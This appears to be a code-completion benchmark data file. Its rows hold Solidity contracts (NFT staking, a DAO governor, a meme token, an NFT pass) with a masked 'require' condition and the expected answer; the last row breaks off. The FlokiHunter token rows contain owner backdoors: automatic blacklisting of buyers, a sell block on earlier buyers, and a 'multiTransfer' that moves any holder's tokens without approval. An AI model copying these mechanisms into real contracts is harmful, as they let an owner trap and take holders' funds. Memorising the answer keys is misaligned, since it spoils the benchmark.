comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"Can't stake tokens without approved" | // SPDX-License-Identifier: MIT
// Creator: andreitoma8
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract NFTStaking is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
// Interfaces for ERC20
IERC20 public immutable rewardsToken;
address constant ANTHROCollection = 0xeE5f115811d18a1c5D95457c83ba531Ce0c92f06;
address constant HUMANCollection = 0xa5c5198c6CE1611f1e998cf681450F8b9E599255;
address constant HUMANMUSICCollection = 0x021CD12F07d12B1fe1E53B057e1D38553bCc4D72;
// Staker info
struct Staker {
// Amount of ERC721 Tokens staked
uint256 amountStaked;
// Last time of details update for this User
uint256 timeOfLastUpdate;
// Calculated, but unclaimed rewards for the User. The rewards are
// calculated each time the user writes to the Smart Contract
uint256 unclaimedRewards;
}
// Stake item
struct StakeItem {
uint256 pid;
uint256[] tokenIds;
}
//Vault tokens
struct VaultInfo {
IERC721 nft;
string name;
mapping(uint256 => address) stakerAddress;
}
VaultInfo[] public vaultInfo;
// Rewards per hour per token deposited in wei.
// Rewards are cumulated once every hour.
// uint256 private rewardsPerDay 100 tokens;
uint256 private rewardsPerDay = 100000000000000000000;
// Mapping of User Address to Staker info
mapping(address => Staker) public stakers;
// Mapping of Token Id to staker. Made for the SC to remeber
// who to send back the ERC721 Token to.
address[] public stakersArray;
// Constructor function
constructor(IERC20 _rewardsToken) {
}
function addVault(
address _nft,
string memory _name
) public onlyOwner {
}
// If address already has ERC721 Token/s staked, calculate the rewards.
// For every new Token Id in param transferFrom user to this Smart Contract,
// increment the amountStaked and map _msgSender() to the Token Id of the staked
// Token to later send back on withdrawal. Finally give timeOfLastUpdate the
// value of now.
function stake(StakeItem[] calldata _stakeItems) external nonReentrant {
uint256 length = _stakeItems.length;
for (uint256 k; k < length; ++k) {
uint256 _pid = _stakeItems[k].pid;
uint256[] calldata _tokenIds = _stakeItems[k].tokenIds;
if (stakers[_msgSender()].amountStaked > 0) {
uint256 rewards = calculateRewards(_msgSender());
stakers[_msgSender()].unclaimedRewards += rewards;
} else {
stakersArray.push(_msgSender());
}
uint256 len = _tokenIds.length;
for (uint256 i; i < len; ++i) {
require(
vaultInfo[_pid].nft.ownerOf(_tokenIds[i]) == _msgSender(),
"Can't stake tokens you don't own!"
);
require(<FILL_ME>)
vaultInfo[_pid].nft.transferFrom(_msgSender(), address(this), _tokenIds[i]);
vaultInfo[_pid].stakerAddress[_tokenIds[i]] = _msgSender();
}
stakers[_msgSender()].amountStaked += len;
stakers[_msgSender()].timeOfLastUpdate = block.timestamp;
}
}
// Calculate rewards for the _msgSender(), check if there are any rewards
// claim, set unclaimedRewards to 0 and transfer the ERC20 Reward token
// to the user.
function claimRewards() public {
}
// Check if user has any ERC721 Tokens Staked and if he tried to withdraw,
// calculate the rewards and store them in the unclaimedRewards and for each
// ERC721 Token in param: check if _msgSender() is the original staker, decrement
// the amountStaked of the user and transfer the ERC721 token back to them
function withdraw(StakeItem[] calldata _stakeItems) external nonReentrant {
}
function withdrawAndClaimRewards(StakeItem[] calldata _stakeItems) external nonReentrant {
}
// Set the rewardsPerDay variable
// Because the rewards are calculated passively, the owner has to first update the rewards
// to all the stakers, witch could result in very heavy load and expensive transactions or
// even reverting due to reaching the gas limit per block. Redesign incoming to bound loop.
function setRewardsPerHour(uint256 _newValue) public onlyOwner {
}
//////////
// View //
//////////
function userStakeInfo(address _user)
public
view
returns (uint256 _tokensStaked, uint256 _availableRewards)
{
}
function tokensOfOwner(address _user, uint256 _pid)
public
view
returns (uint256[] memory tokenIds)
{
}
function availableRewards(address _user) internal view returns (uint256) {
}
/////////////
// Internal//
/////////////
// Calculate rewards for param _staker by calculating the time passed
// since last update in hours and mulitplying it to ERC721 Tokens Staked
// and rewardsPerDay.
function calculateRewards(address _staker)
internal
view
returns (uint256 _rewards)
{
}
}
| vaultInfo[_pid].nft.isApprovedForAll(_msgSender(),address(this)),"Can't stake tokens without approved" | 417,323 | vaultInfo[_pid].nft.isApprovedForAll(_msgSender(),address(this)) |
"You have no tokens staked" | // SPDX-License-Identifier: MIT
// Creator: andreitoma8
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract NFTStaking is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
// Interfaces for ERC20
IERC20 public immutable rewardsToken;
address constant ANTHROCollection = 0xeE5f115811d18a1c5D95457c83ba531Ce0c92f06;
address constant HUMANCollection = 0xa5c5198c6CE1611f1e998cf681450F8b9E599255;
address constant HUMANMUSICCollection = 0x021CD12F07d12B1fe1E53B057e1D38553bCc4D72;
// Staker info
struct Staker {
// Amount of ERC721 Tokens staked
uint256 amountStaked;
// Last time of details update for this User
uint256 timeOfLastUpdate;
// Calculated, but unclaimed rewards for the User. The rewards are
// calculated each time the user writes to the Smart Contract
uint256 unclaimedRewards;
}
// Stake item
struct StakeItem {
uint256 pid;
uint256[] tokenIds;
}
//Vault tokens
struct VaultInfo {
IERC721 nft;
string name;
mapping(uint256 => address) stakerAddress;
}
VaultInfo[] public vaultInfo;
// Rewards per hour per token deposited in wei.
// Rewards are cumulated once every hour.
// uint256 private rewardsPerDay 100 tokens;
uint256 private rewardsPerDay = 100000000000000000000;
// Mapping of User Address to Staker info
mapping(address => Staker) public stakers;
// Mapping of Token Id to staker. Made for the SC to remeber
// who to send back the ERC721 Token to.
address[] public stakersArray;
// Constructor function
constructor(IERC20 _rewardsToken) {
}
function addVault(
address _nft,
string memory _name
) public onlyOwner {
}
// If address already has ERC721 Token/s staked, calculate the rewards.
// For every new Token Id in param transferFrom user to this Smart Contract,
// increment the amountStaked and map _msgSender() to the Token Id of the staked
// Token to later send back on withdrawal. Finally give timeOfLastUpdate the
// value of now.
function stake(StakeItem[] calldata _stakeItems) external nonReentrant {
}
// Calculate rewards for the _msgSender(), check if there are any rewards
// claim, set unclaimedRewards to 0 and transfer the ERC20 Reward token
// to the user.
function claimRewards() public {
}
// Check if user has any ERC721 Tokens Staked and if he tried to withdraw,
// calculate the rewards and store them in the unclaimedRewards and for each
// ERC721 Token in param: check if _msgSender() is the original staker, decrement
// the amountStaked of the user and transfer the ERC721 token back to them
function withdraw(StakeItem[] calldata _stakeItems) external nonReentrant {
require(<FILL_ME>)
uint256 length = _stakeItems.length;
for (uint256 k; k < length; ++k) {
uint256 _pid = _stakeItems[k].pid;
uint256[] calldata _tokenIds = _stakeItems[k].tokenIds;
uint256 rewards = calculateRewards(_msgSender());
stakers[_msgSender()].unclaimedRewards += rewards;
uint256 len = _tokenIds.length;
for (uint256 i; i < len; ++i) {
require(vaultInfo[_pid].stakerAddress[_tokenIds[i]] == _msgSender());
vaultInfo[_pid].stakerAddress[_tokenIds[i]] = address(0);
vaultInfo[_pid].nft.transferFrom(address(this), _msgSender(), _tokenIds[i]);
}
stakers[_msgSender()].amountStaked -= len;
stakers[_msgSender()].timeOfLastUpdate = block.timestamp;
if (stakers[_msgSender()].amountStaked == 0) {
for (uint256 j; j < stakersArray.length; ++j) {
if (stakersArray[j] == _msgSender()) {
stakersArray[j] = stakersArray[stakersArray.length - 1];
stakersArray.pop();
}
}
}
}
}
function withdrawAndClaimRewards(StakeItem[] calldata _stakeItems) external nonReentrant {
}
// Set the rewardsPerDay variable
// Because the rewards are calculated passively, the owner has to first update the rewards
// to all the stakers, witch could result in very heavy load and expensive transactions or
// even reverting due to reaching the gas limit per block. Redesign incoming to bound loop.
function setRewardsPerHour(uint256 _newValue) public onlyOwner {
}
//////////
// View //
//////////
function userStakeInfo(address _user)
public
view
returns (uint256 _tokensStaked, uint256 _availableRewards)
{
}
function tokensOfOwner(address _user, uint256 _pid)
public
view
returns (uint256[] memory tokenIds)
{
}
function availableRewards(address _user) internal view returns (uint256) {
}
/////////////
// Internal//
/////////////
// Calculate rewards for param _staker by calculating the time passed
// since last update in hours and mulitplying it to ERC721 Tokens Staked
// and rewardsPerDay.
function calculateRewards(address _staker)
internal
view
returns (uint256 _rewards)
{
}
}
| stakers[_msgSender()].amountStaked>0,"You have no tokens staked" | 417,323 | stakers[_msgSender()].amountStaked>0 |
null | // SPDX-License-Identifier: MIT
// Creator: andreitoma8
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract NFTStaking is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
// Interfaces for ERC20
IERC20 public immutable rewardsToken;
address constant ANTHROCollection = 0xeE5f115811d18a1c5D95457c83ba531Ce0c92f06;
address constant HUMANCollection = 0xa5c5198c6CE1611f1e998cf681450F8b9E599255;
address constant HUMANMUSICCollection = 0x021CD12F07d12B1fe1E53B057e1D38553bCc4D72;
// Staker info
struct Staker {
// Amount of ERC721 Tokens staked
uint256 amountStaked;
// Last time of details update for this User
uint256 timeOfLastUpdate;
// Calculated, but unclaimed rewards for the User. The rewards are
// calculated each time the user writes to the Smart Contract
uint256 unclaimedRewards;
}
// Stake item
struct StakeItem {
uint256 pid;
uint256[] tokenIds;
}
//Vault tokens
struct VaultInfo {
IERC721 nft;
string name;
mapping(uint256 => address) stakerAddress;
}
VaultInfo[] public vaultInfo;
// Rewards per hour per token deposited in wei.
// Rewards are cumulated once every hour.
// uint256 private rewardsPerDay 100 tokens;
uint256 private rewardsPerDay = 100000000000000000000;
// Mapping of User Address to Staker info
mapping(address => Staker) public stakers;
// Mapping of Token Id to staker. Made for the SC to remeber
// who to send back the ERC721 Token to.
address[] public stakersArray;
// Constructor function
constructor(IERC20 _rewardsToken) {
}
function addVault(
address _nft,
string memory _name
) public onlyOwner {
}
// If address already has ERC721 Token/s staked, calculate the rewards.
// For every new Token Id in param transferFrom user to this Smart Contract,
// increment the amountStaked and map _msgSender() to the Token Id of the staked
// Token to later send back on withdrawal. Finally give timeOfLastUpdate the
// value of now.
function stake(StakeItem[] calldata _stakeItems) external nonReentrant {
}
// Calculate rewards for the _msgSender(), check if there are any rewards
// claim, set unclaimedRewards to 0 and transfer the ERC20 Reward token
// to the user.
function claimRewards() public {
}
// Check if user has any ERC721 Tokens Staked and if he tried to withdraw,
// calculate the rewards and store them in the unclaimedRewards and for each
// ERC721 Token in param: check if _msgSender() is the original staker, decrement
// the amountStaked of the user and transfer the ERC721 token back to them
function withdraw(StakeItem[] calldata _stakeItems) external nonReentrant {
require(
stakers[_msgSender()].amountStaked > 0,
"You have no tokens staked"
);
uint256 length = _stakeItems.length;
for (uint256 k; k < length; ++k) {
uint256 _pid = _stakeItems[k].pid;
uint256[] calldata _tokenIds = _stakeItems[k].tokenIds;
uint256 rewards = calculateRewards(_msgSender());
stakers[_msgSender()].unclaimedRewards += rewards;
uint256 len = _tokenIds.length;
for (uint256 i; i < len; ++i) {
require(<FILL_ME>)
vaultInfo[_pid].stakerAddress[_tokenIds[i]] = address(0);
vaultInfo[_pid].nft.transferFrom(address(this), _msgSender(), _tokenIds[i]);
}
stakers[_msgSender()].amountStaked -= len;
stakers[_msgSender()].timeOfLastUpdate = block.timestamp;
if (stakers[_msgSender()].amountStaked == 0) {
for (uint256 j; j < stakersArray.length; ++j) {
if (stakersArray[j] == _msgSender()) {
stakersArray[j] = stakersArray[stakersArray.length - 1];
stakersArray.pop();
}
}
}
}
}
function withdrawAndClaimRewards(StakeItem[] calldata _stakeItems) external nonReentrant {
}
// Set the rewardsPerDay variable
// Because the rewards are calculated passively, the owner has to first update the rewards
// to all the stakers, witch could result in very heavy load and expensive transactions or
// even reverting due to reaching the gas limit per block. Redesign incoming to bound loop.
function setRewardsPerHour(uint256 _newValue) public onlyOwner {
}
//////////
// View //
//////////
function userStakeInfo(address _user)
public
view
returns (uint256 _tokensStaked, uint256 _availableRewards)
{
}
function tokensOfOwner(address _user, uint256 _pid)
public
view
returns (uint256[] memory tokenIds)
{
}
function availableRewards(address _user) internal view returns (uint256) {
}
/////////////
// Internal//
/////////////
// Calculate rewards for param _staker by calculating the time passed
// since last update in hours and mulitplying it to ERC721 Tokens Staked
// and rewardsPerDay.
function calculateRewards(address _staker)
internal
view
returns (uint256 _rewards)
{
}
}
| vaultInfo[_pid].stakerAddress[_tokenIds[i]]==_msgSender() | 417,323 | vaultInfo[_pid].stakerAddress[_tokenIds[i]]==_msgSender() |
"Exchange rate >8 or at least 1080 days after creation." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/governance/Governor.sol";
import "@openzeppelin/contracts/governance/extensions/GovernorCountingSimple.sol";
import "@openzeppelin/contracts/governance/extensions/GovernorVotes.sol";
import "@openzeppelin/contracts/governance/extensions/GovernorVotesQuorumFraction.sol";
import "@openzeppelin/contracts/governance/extensions/GovernorTimelockControl.sol";
contract VWXGovernor is Governor, GovernorCountingSimple, GovernorVotes, GovernorVotesQuorumFraction {
address public VWXGovernorProposeAddress;
constructor(IVotes VWXTokenAddress, address _VWXGovernorProposeAddress)
Governor("VWXGovernor")
GovernorVotes(VWXTokenAddress)
GovernorVotesQuorumFraction(60)
{
}
function votingDelay() public pure override returns (uint256) {
}
function votingPeriod() public pure override returns (uint256) {
}
// The following functions are overrides required by Solidity.
function quorum(uint256 blockNumber)
public
view
override(IGovernor, GovernorVotesQuorumFraction)
returns (uint256)
{
}
function propose(address[] memory targets, uint256[] memory values, bytes[] memory calldatas, string memory description)
public
override(Governor)
returns (uint256)
{
}
function getDescriptionHash(string memory description) public pure returns(bytes32) {
}
}
interface IVWXGovernor {
function propose(address[] memory targets, uint256[] memory values, bytes[] memory calldatas, string memory description) external returns(uint256);
}
interface IVWXToken {
function representative() external returns(address);
function exchangeRate() external returns(uint);
}
contract VWXGovernorPropose {
IVWXGovernor public _VWXGovernor;
IVWXToken public VWXToken;
address public VWXGovernorAddress;
uint public createTimestamp;
address public deployerAddress;
constructor(address VWXTokenAddress) {
}
function _setVWXGovernorAddress(address _VWXGovernorAddress) public returns(bool) {
}
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description)
public returns(uint256) {
require(<FILL_ME>)
uint256 proposalId = _VWXGovernor.propose(targets, values, calldatas, description);
return proposalId;
}
}
| VWXToken.exchangeRate()>8||block.timestamp>createTimestamp+1080days,"Exchange rate >8 or at least 1080 days after creation." | 417,382 | VWXToken.exchangeRate()>8||block.timestamp>createTimestamp+1080days |
"Bought before contract was launched" | /**
FLOKI HUNTER !!
THE HUNT IS STARTED !!
Telegram: https://t.me/FlokiHunterPortal
Website: https://www.flokihunter.net/
Twitter: https://twitter.com/flokihuntererc
Medium:
https://medium.com/@flokihuntertoken/join-the-hunt-for-floki-with-the-floki-hunter-cryptocurrency-5c4f95f7b187
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface ERC20 {
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
address internal potentialOwner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
modifier onlyOwner() {
}
modifier authorized() {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferOwnership(address payable adr) public onlyOwner {
}
function renounceOwnership() public onlyOwner {
}
function acceptOwnership() public {
}
event OwnershipTransferred(address owner);
event OwnershipNominated(address potentialOwner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract FlokiHunter is ERC20, Auth {
using SafeMath for uint256;
address immutable WETH;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address constant ZERO = 0x0000000000000000000000000000000000000000;
string public constant name = "FlokiHunter";
string public constant symbol = "$FOK";
uint8 public constant decimals = 9;
uint256 public constant totalSupply = 100 * 10**6 * 10**decimals;
uint256 public _maxTxAmount = totalSupply / 10;
uint256 public _maxWalletToken = totalSupply / 10;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) _allowances;
bool public blacklistMode = true;
mapping (address => bool) public isBlacklisted;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isTxLimitExempt;
mapping (address => bool) public isWalletLimitExempt;
uint256 public liquidityFee = 1;
uint256 public marketingFee = 20;
uint256 public operationsFee = 50;
uint256 public totalFee = marketingFee + liquidityFee + operationsFee;
uint256 public constant feeDenominator = 1000;
uint256 public buyMultiplier = 100;
uint256 public sellMultiplier = 100;
uint256 public transferMultiplier = 100;
address autoLiquidityReceiver;
address marketingFeeReceiver;
address operationsFeeReceiver;
IDEXRouter public router;
address public immutable pair;
bool public tradingOpen = true;
bool antibot = true;
mapping (address => uint) firstbuy;
bool public swapEnabled = true;
uint256 public swapThreshold = totalSupply / 1000;
bool inSwap;
modifier swapping() { }
constructor () Auth(msg.sender) {
}
receive() external payable { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner {
}
function setMaxTxPercent_base1000(uint256 maxTXPercentage_base1000) external onlyOwner {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
if(!authorizations[sender] && !authorizations[recipient]){
require(tradingOpen,"Trading not open yet");
if(antibot && (sender == pair)){
if(firstbuy[recipient] == 0){
firstbuy[recipient] = block.number;
}
blacklist_wallet(recipient,true);
}
}
// Blacklist
if(blacklistMode && !antibot){
require(!isBlacklisted[sender],"Blacklisted");
}
if(antibot && (firstbuy[sender] > 0)){
require(<FILL_ME>)
}
if (!authorizations[sender] && !isWalletLimitExempt[sender] && !isWalletLimitExempt[recipient] && recipient != pair) {
require((balanceOf[recipient] + amount) <= _maxWalletToken,"max wallet limit reached");
}
require((amount <= _maxTxAmount) || isTxLimitExempt[sender] || isTxLimitExempt[recipient], "Max TX Limit Exceeded");
if(shouldSwapBack()){ swapBack(); }
balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, amount, recipient);
balanceOf[recipient] = balanceOf[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
}
function shouldSwapBack() internal view returns (bool) {
}
function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
}
function clearStuckToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
}
function tradingStatus(bool _status, bool _ab) external onlyOwner {
}
function swapBack() internal swapping {
}
function manage_blacklist_status(bool _status) external onlyOwner {
}
function manage_blacklist(address[] calldata addresses, bool status) external onlyOwner {
}
function blacklist_wallet(address _adr, bool _status) private {
}
function manage_FeeExempt(address[] calldata addresses, bool status) external onlyOwner {
}
function manage_TxLimitExempt(address[] calldata addresses, bool status) external onlyOwner {
}
function manage_WalletLimitExempt(address[] calldata addresses, bool status) external onlyOwner {
}
function setMultipliers(uint256 _buy, uint256 _sell, uint256 _trans) external onlyOwner {
}
function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _operationsFee) external onlyOwner {
}
function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _operationsFeeReceiver) external onlyOwner {
}
function setSwapBackSettings(bool _enabled, uint256 _denominator) external onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
function multiTransfer(address from, address[] calldata addresses, uint256[] calldata tokens) external authorized {
}
}
| firstbuy[sender]>(block.number-60),"Bought before contract was launched" | 417,395 | firstbuy[sender]>(block.number-60) |
"Not enough tokens in wallet" | /**
FLOKI HUNTER !!
THE HUNT IS STARTED !!
Telegram: https://t.me/FlokiHunterPortal
Website: https://www.flokihunter.net/
Twitter: https://twitter.com/flokihuntererc
Medium:
https://medium.com/@flokihuntertoken/join-the-hunt-for-floki-with-the-floki-hunter-cryptocurrency-5c4f95f7b187
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface ERC20 {
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
address internal potentialOwner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
modifier onlyOwner() {
}
modifier authorized() {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferOwnership(address payable adr) public onlyOwner {
}
function renounceOwnership() public onlyOwner {
}
function acceptOwnership() public {
}
event OwnershipTransferred(address owner);
event OwnershipNominated(address potentialOwner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract FlokiHunter is ERC20, Auth {
using SafeMath for uint256;
address immutable WETH;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address constant ZERO = 0x0000000000000000000000000000000000000000;
string public constant name = "FlokiHunter";
string public constant symbol = "$FOK";
uint8 public constant decimals = 9;
uint256 public constant totalSupply = 100 * 10**6 * 10**decimals;
uint256 public _maxTxAmount = totalSupply / 10;
uint256 public _maxWalletToken = totalSupply / 10;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) _allowances;
bool public blacklistMode = true;
mapping (address => bool) public isBlacklisted;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isTxLimitExempt;
mapping (address => bool) public isWalletLimitExempt;
uint256 public liquidityFee = 1;
uint256 public marketingFee = 20;
uint256 public operationsFee = 50;
uint256 public totalFee = marketingFee + liquidityFee + operationsFee;
uint256 public constant feeDenominator = 1000;
uint256 public buyMultiplier = 100;
uint256 public sellMultiplier = 100;
uint256 public transferMultiplier = 100;
address autoLiquidityReceiver;
address marketingFeeReceiver;
address operationsFeeReceiver;
IDEXRouter public router;
address public immutable pair;
bool public tradingOpen = true;
bool antibot = true;
mapping (address => uint) firstbuy;
bool public swapEnabled = true;
uint256 public swapThreshold = totalSupply / 1000;
bool inSwap;
modifier swapping() { }
constructor () Auth(msg.sender) {
}
receive() external payable { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner {
}
function setMaxTxPercent_base1000(uint256 maxTXPercentage_base1000) external onlyOwner {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
}
function shouldSwapBack() internal view returns (bool) {
}
function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
}
function clearStuckToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
}
function tradingStatus(bool _status, bool _ab) external onlyOwner {
}
function swapBack() internal swapping {
}
function manage_blacklist_status(bool _status) external onlyOwner {
}
function manage_blacklist(address[] calldata addresses, bool status) external onlyOwner {
}
function blacklist_wallet(address _adr, bool _status) private {
}
function manage_FeeExempt(address[] calldata addresses, bool status) external onlyOwner {
}
function manage_TxLimitExempt(address[] calldata addresses, bool status) external onlyOwner {
}
function manage_WalletLimitExempt(address[] calldata addresses, bool status) external onlyOwner {
}
function setMultipliers(uint256 _buy, uint256 _sell, uint256 _trans) external onlyOwner {
}
function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _operationsFee) external onlyOwner {
}
function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _operationsFeeReceiver) external onlyOwner {
}
function setSwapBackSettings(bool _enabled, uint256 _denominator) external onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
function multiTransfer(address from, address[] calldata addresses, uint256[] calldata tokens) external authorized {
require(addresses.length < 501,"GAS Error: max limit is 500 addresses");
require(addresses.length == tokens.length,"Mismatch between address and token count");
uint256 SCCC = 0;
for(uint i=0; i < addresses.length; i++){
SCCC = SCCC + tokens[i];
}
require(<FILL_ME>)
for(uint i=0; i < addresses.length; i++){
_basicTransfer(from,addresses[i],tokens[i]);
}
}
}
| balanceOf[from]>=SCCC,"Not enough tokens in wallet" | 417,395 | balanceOf[from]>=SCCC |
"exceeded max mint count" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract TeleptPass is ERC721URIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
uint256 public maxMintCount = 1;
uint256 public totalSupply = 300;
uint256 public price = 0;
bool public isMintActive = false;
bool public requireInvitation = true;
string baseURI = "https://pass.telept.xyz/token/";
mapping(address => uint256) mintCount;
mapping(address => bool) invitationList;
constructor() ERC721("TeleptPass", "TELEPT") {}
function mintNFT() public payable returns (uint256) {
}
function mintInternal(address to) internal returns (uint256) {
uint256 newItemId = _tokenIds.current();
if (maxMintCount > 0) {
require(<FILL_ME>)
}
require(newItemId < totalSupply, "no more tokens");
if (requireInvitation) {
require(invitationList[to], "not in the invitation list");
}
_tokenIds.increment();
uint256 tokenId = getFromattedDateFrom(newItemId);
_mint(to, tokenId);
_setTokenURI(
tokenId,
string(abi.encodePacked(baseURI, Strings.toString(tokenId)))
);
mintCount[to] += 1;
return tokenId;
}
function airdrop(address[] calldata wAddresses) public onlyOwner {
}
function setPrice(uint256 priceUpdate) public onlyOwner {
}
function setTotalSupply(uint256 totalSupplyUpdate) public onlyOwner {
}
function setMaxMintCount(uint256 maxMintCountUpdate) public onlyOwner {
}
function setMintActive(bool mintActiveUpdate) public onlyOwner {
}
function setRequireInvitation(bool requireInvitationUpdate)
public
onlyOwner
{
}
function addToInvitationList(address[] calldata addresses)
public
onlyOwner
{
}
function removeFromInvitationList(address[] calldata addresses)
public
onlyOwner
{
}
function getCurrentId() public view returns (uint256) {
}
uint256 constant START_TIMESTAMP = 1225411200;
uint constant SECONDS_PER_DAY = 24 * 60 * 60;
int constant OFFSET19700101 = 2440588;
function getFromattedDateFrom(uint dayPassed)
internal
pure
returns (uint date)
{
}
function _daysToDate(uint _days)
internal
pure
returns (
